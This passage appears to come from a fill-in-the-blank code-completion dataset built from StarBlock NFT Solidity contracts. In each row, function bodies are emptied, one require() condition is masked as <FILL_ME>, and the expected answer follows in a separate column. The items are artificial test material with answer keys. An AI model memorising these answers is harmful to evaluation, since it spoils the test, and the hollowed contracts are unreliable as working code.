uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| _whitelistSaleConfig.endTime<(block.timestamp+900days),"StarBlockCollection: end time should be within 900 days!" | 71,841 | _whitelistSaleConfig.endTime<(block.timestamp+900days) |
"StarBlockCollection: invalid parameters!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
require(whitelistSaleConfig.startTime == 0 || whitelistSaleConfig.startTime > block.timestamp, "StarBlockCollection: can only change the unstarted sale config!");
require(_whitelistSaleConfig.startTime == 0 || _whitelistSaleConfig.startTime > block.timestamp, "StarBlockCollection: the new config should not be started!");
require(_whitelistSaleConfig.startTime < (block.timestamp + 180 days), "StarBlockCollection: start time should be within 180 days!");
require(_whitelistSaleConfig.endTime < (block.timestamp + 900 days), "StarBlockCollection: end time should be within 900 days!");
require(<FILL_ME>)
whitelistSaleConfig.startTime = _whitelistSaleConfig.startTime;
whitelistSaleConfig.endTime = _whitelistSaleConfig.endTime;
whitelistSaleConfig.price = _whitelistSaleConfig.price;
whitelistSaleConfig.maxAmountPerAddress = _whitelistSaleConfig.maxAmountPerAddress;
emit UpdateWhitelistSaleConfig(_whitelistSaleConfig);
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| _checkSaleConfig(_whitelistSaleConfig),"StarBlockCollection: invalid parameters!" | 71,841 | _checkSaleConfig(_whitelistSaleConfig) |
"StarBlockCollection: start time should be within 180 days!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
require(publicSaleConfig.startTime == 0 || publicSaleConfig.startTime > block.timestamp, "StarBlockCollection: can only change the unstarted sale config!");
require(_publicSaleConfig.startTime == 0 || _publicSaleConfig.startTime > block.timestamp, "StarBlockCollection: the new config should not be started!");
require(<FILL_ME>)
require(_publicSaleConfig.endTime < (block.timestamp + 900 days), "StarBlockCollection: end time should be within 900 days!");
require(_checkSaleConfig(_publicSaleConfig), "StarBlockCollection: invalid parameters!");
publicSaleConfig.startTime = _publicSaleConfig.startTime;
publicSaleConfig.endTime = _publicSaleConfig.endTime;
publicSaleConfig.price = _publicSaleConfig.price;
publicSaleConfig.maxAmountPerAddress = _publicSaleConfig.maxAmountPerAddress;
emit UpdatePublicSaleConfig(_publicSaleConfig);
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| _publicSaleConfig.startTime<(block.timestamp+180days),"StarBlockCollection: start time should be within 180 days!" | 71,841 | _publicSaleConfig.startTime<(block.timestamp+180days) |
"StarBlockCollection: end time should be within 900 days!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
//public mint config
SaleConfig public publicSaleConfig;
mapping(address => uint256) public publicSaleMinted;
modifier callerIsUser() {
}
constructor(
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address payable _protocolFeeReceiver,
uint256 _protocolFeeNumerator,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) ERC721A(_name, _symbol) {
}
function whitelistMint(uint256 _amount) external payable callerIsUser {
}
function publicMint(uint256 _amount) external payable callerIsUser {
}
function artistMint(uint256 _amount) external onlyOwner nonReentrant {
}
function userCanMintTotalAmount() public view returns (uint256) {
}
function _checkUserCanMint(SaleConfig memory _saleConfig, uint256 _amount, uint256 _mintedAmount) internal view {
}
function _charge(uint256 _amount) internal nonReentrant {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 _interfaceId) public view virtual override(IStarBlockCollection, ERC2981, ERC721A) returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata _baseTokenURI) external onlyOwner nonReentrant {
}
function addWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function removeWhitelists(address[] memory addresses) external onlyOwner nonReentrant {
}
function _checkSaleConfig(SaleConfig memory _saleConfig) internal pure returns (bool) {
}
function updateWhitelistSaleConfig(SaleConfig memory _whitelistSaleConfig) external onlyOwner nonReentrant {
}
function updateWhitelistSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updatePublicSaleConfig(SaleConfig memory _publicSaleConfig) external onlyOwner nonReentrant {
require(publicSaleConfig.startTime == 0 || publicSaleConfig.startTime > block.timestamp, "StarBlockCollection: can only change the unstarted sale config!");
require(_publicSaleConfig.startTime == 0 || _publicSaleConfig.startTime > block.timestamp, "StarBlockCollection: the new config should not be started!");
require(_publicSaleConfig.startTime < (block.timestamp + 180 days), "StarBlockCollection: start time should be within 180 days!");
require(<FILL_ME>)
require(_checkSaleConfig(_publicSaleConfig), "StarBlockCollection: invalid parameters!");
publicSaleConfig.startTime = _publicSaleConfig.startTime;
publicSaleConfig.endTime = _publicSaleConfig.endTime;
publicSaleConfig.price = _publicSaleConfig.price;
publicSaleConfig.maxAmountPerAddress = _publicSaleConfig.maxAmountPerAddress;
emit UpdatePublicSaleConfig(_publicSaleConfig);
}
function updatePublicSaleEndTime(uint256 _newEndTime) external onlyOwner nonReentrant {
}
function updateChargeToken(IERC20 _chargeToken) external onlyOwner nonReentrant {
}
function updateProtocolFeeReceiverAndNumerator(address payable _protocolFeeReceiver, uint256 _protocolFeeNumerator) external nonReentrant {
}
function withdrawMoney() external onlyOwner {
}
function _getRevenueAmount() internal view returns (uint256 _amount){
}
function _transferRevenue(address payable _user, uint256 _amount) internal nonReentrant returns (bool _success) {
}
function _transferETH(address payable _user, uint256 _amount) internal returns (bool _success) {
}
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) external onlyOwner nonReentrant {
}
function deleteDefaultRoyalty() external onlyOwner nonReentrant {
}
function exists(uint256 _tokenId) external view returns (bool) {
}
}
interface IStarBlockCollectionFactory {
event CollectionDeployed(IStarBlockCollection _collection, address _user, string _uuid);
function collections(IStarBlockCollection _collection) external view returns (address);
function collectionsAmount() external view returns (uint256);
function collectionProtocolFeeReceiver() external view returns (address payable);
function collectionProtocolFeeNumerator() external view returns (uint256);
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external returns (IStarBlockCollection _collection);
}
contract StarBlockCollectionFactory is IStarBlockCollectionFactory, Ownable, ReentrancyGuard {
uint256 public constant FEE_DENOMINATOR = 10000;
mapping(IStarBlockCollection => address) public collections;
uint256 public collectionsAmount;
address payable public collectionProtocolFeeReceiver;
uint256 public collectionProtocolFeeNumerator; //should less than FEE_DENOMINATOR
constructor(
address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator
) {
}
function deployCollection(
string memory _uuid,
string memory _name,
string memory _symbol,
uint256 _maxSupply,
IERC20 _chargeToken,
string memory _baseTokenURI,
uint256 _maxAmountForArtist,
address _royaltyReceiver,
uint96 _royaltyFeeNumerator
) external nonReentrant returns (IStarBlockCollection _collection) {
}
function updateCollectionProtocolFeeReceiverAndNumerator(address payable _collectionProtocolFeeReceiver,
uint256 _collectionProtocolFeeNumerator) external onlyOwner nonReentrant {
}
}
| _publicSaleConfig.endTime<(block.timestamp+900days),"StarBlockCollection: end time should be within 900 days!" | 71,841 | _publicSaleConfig.endTime<(block.timestamp+900days) |
"StarBlockCollection: invalid parameters!" | // ░██████╗████████╗░█████╗░██████╗░██████╗░██╗░░░░░░█████╗░░█████╗░██╗░░██╗
// ██╔════╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░░░░░██╔══██╗██╔══██╗██║░██╔╝
// ╚█████╗░░░░██║░░░███████║██████╔╝██████╦╝██║░░░░░██║░░██║██║░░╚═╝█████═╝░
// ░╚═══██╗░░░██║░░░██╔══██║██╔══██╗██╔══██╗██║░░░░░██║░░██║██║░░██╗██╔═██╗░
// ██████╔╝░░░██║░░░██║░░██║██║░░██║██████╦╝███████╗╚█████╔╝╚█████╔╝██║░╚██╗
// ╚═════╝░░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝╚═════╝░╚══════╝░╚════╝░░╚════╝░╚═╝░░╚═╝
// SPDX-License-Identifier: MIT
// StarBlock Contracts, more: https://www.starblock.io/
pragma solidity ^0.8.10;
//import "erc721a/contracts/extensions/ERC721AQueryable.sol";
//import "@openzeppelin/contracts/token/common/ERC2981.sol";
//import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
//import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
//import "@openzeppelin/contracts/access/Ownable.sol";
//import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721AQueryable.sol";
import "./ERC2981.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
import "./Ownable.sol";
import "./ReentrancyGuard.sol";
interface IStarBlockCollection is IERC721AQueryable, IERC2981 {
struct SaleConfig {
uint256 startTime;// 0 for not set
uint256 endTime;// 0 for will not end
uint256 price;
uint256 maxAmountPerAddress;// 0 for not limit the amount per address
}
event UpdateWhitelistSaleConfig(SaleConfig _whitelistSaleConfig);
event UpdateWhitelistSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdatePublicSaleConfig(SaleConfig _publicSaleConfig);
event UpdatePublicSaleEndTime(uint256 _oldEndTime, uint256 _newEndTime);
event UpdateChargeToken(IERC20 _chargeToken);
function supportsInterface(bytes4 _interfaceId) external view override(IERC165, IERC721A) returns (bool);
function maxSupply() external view returns (uint256);
function exists(uint256 _tokenId) external view returns (bool);
function maxAmountForArtist() external view returns (uint256);
function artistMinted() external view returns (uint256);
function chargeToken() external view returns (IERC20);
// function whitelistSaleConfig() external view returns (SaleConfig memory);
function whitelistSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function whitelist(address _user) external view returns (bool);
function whitelistAmount() external view returns (uint256);
function whitelistSaleMinted(address _user) external view returns (uint256);
// function publicSaleConfig() external view returns (SaleConfig memory);
function publicSaleConfig() external view
returns (uint256 _startTime, uint256 _endTime, uint256 _price, uint256 _maxAmountPerAddress);
function publicSaleMinted(address _user) external view returns (uint256);
function userCanMintTotalAmount() external view returns (uint256);
function whitelistMint(uint256 _amount) external payable;
function publicMint(uint256 _amount) external payable;
}
//The ERC721 collection for Artist on StarBlock NFT Marketplace, the owner is Artist and the protocol fee is for StarBlock.
contract StarBlockCollection is IStarBlockCollection, ERC721AQueryable, ERC2981, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
uint256 public immutable maxSupply;
string private baseTokenURI;
uint256 public immutable maxAmountForArtist;
uint256 public artistMinted;// the total minted amount for artist by artistMint method
IERC20 public chargeToken;// the charge token for mint, zero for ETH
address payable public protocolFeeReceiver;// fee receiver address for protocol
uint256 public protocolFeeNumerator; // div _feeDenominator()(is 10000) is the real ratio
SaleConfig public whitelistSaleConfig;
mapping(address => bool) public whitelist;
uint256 public whitelistAmount;
mapping(address => uint256) public whitelistSaleMinted;
